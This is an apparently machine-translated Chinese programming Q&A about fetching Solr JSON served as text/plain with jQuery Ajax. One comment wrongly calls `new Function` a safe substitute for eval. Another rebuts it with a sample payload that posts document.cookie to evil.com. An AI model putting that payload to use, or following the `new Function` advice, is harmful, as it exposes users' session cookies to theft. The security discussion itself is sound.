更新:以下在IE8中工作正常,但在Firefox數據回來空:檢索純文本與jQuery Ajax和轉換成JSON
$.getJSON('myUrl/solr/select/?q=citystate%3ASea*&version=2.2&start=0&rows=3&indent=on&wt=json&fl=citystate', function(data) {
alert(data.response.docs[0].citystate);
});
我有一個生成的JSON數據作爲普通的碼頭服務器文本 - 在這裏是什麼頭樣子:
Last-Modified Wed, 06 Oct 2010 23:22:27 GMT
Etag "OTI5YWMzYzFkNDgwMDAwMFNvbHI="
Content-Type text/plain; charset=utf-8
Content-Length 565
Server Jetty(6.1.3)
下面是輸出的一個例子:
{
"responseHeader":{
"status":0,
"QTime":1,
"params":{
"fl":"citystate",
"indent":"on",
"start":"0",
"q":"citystate:Sea*",
"wt":"json",
"version":"2.2",
"rows":"10"}},
"response":{"numFound":233,"start":0,"docs":[
{
"citystate":"Seaboard, AL"},
{
"citystate":"Seale, AL"},
{
"citystate":"Seacliff, AL"},
{
"citystate":"Sealy Springs, AL"},
{
"citystate":"Searcy, AL"},
{
"citystate":"Searight, AL"},
{
"citystate":"Searles, AL"},
{
"citystate":"Seasha, AL"},
{
"citystate":"Searcy, AR"},
{
"citystate":"Seaton, AR"}]
}}
我想用jQuery的AJAX調用這樣的檢索此數據:
$.ajax({
type: "GET",
url: "myUrl/?q=citystate%3ASea*&version=2.2&start=0&rows=10&indent=on&wt=json&fl=citystate",
dataType: "json",
contentType: "text/plain; charset=utf-8",
success: function(data, textStatus){
alert("data: " + data);
},
error: function(data){
alert("error");
}
});
但是,結果我回來總是空。我究竟做錯了什麼?
請不要使用'''eval'''來轉換JSON。使用'''JSON.parse'''。如果沒有,你可以包含來自https://github.com/douglascrockford/JSON-js的json2.js – 2012-12-12 16:19:40
'var myfunc = new Function('return'+ data);'?它實際上和'eval'一樣,只是以一種節省的方式。 – jsmorph 2013-09-14 11:28:25
'新功能'不安全。您仍然允許您不受控制的數據在應用程序中作爲代碼運行。例如,'data ='($ .post(「evil.com」,document.cookie),alert(「現在你的上帝在哪裏」),null)''。 – 2014-08-11 09:11:17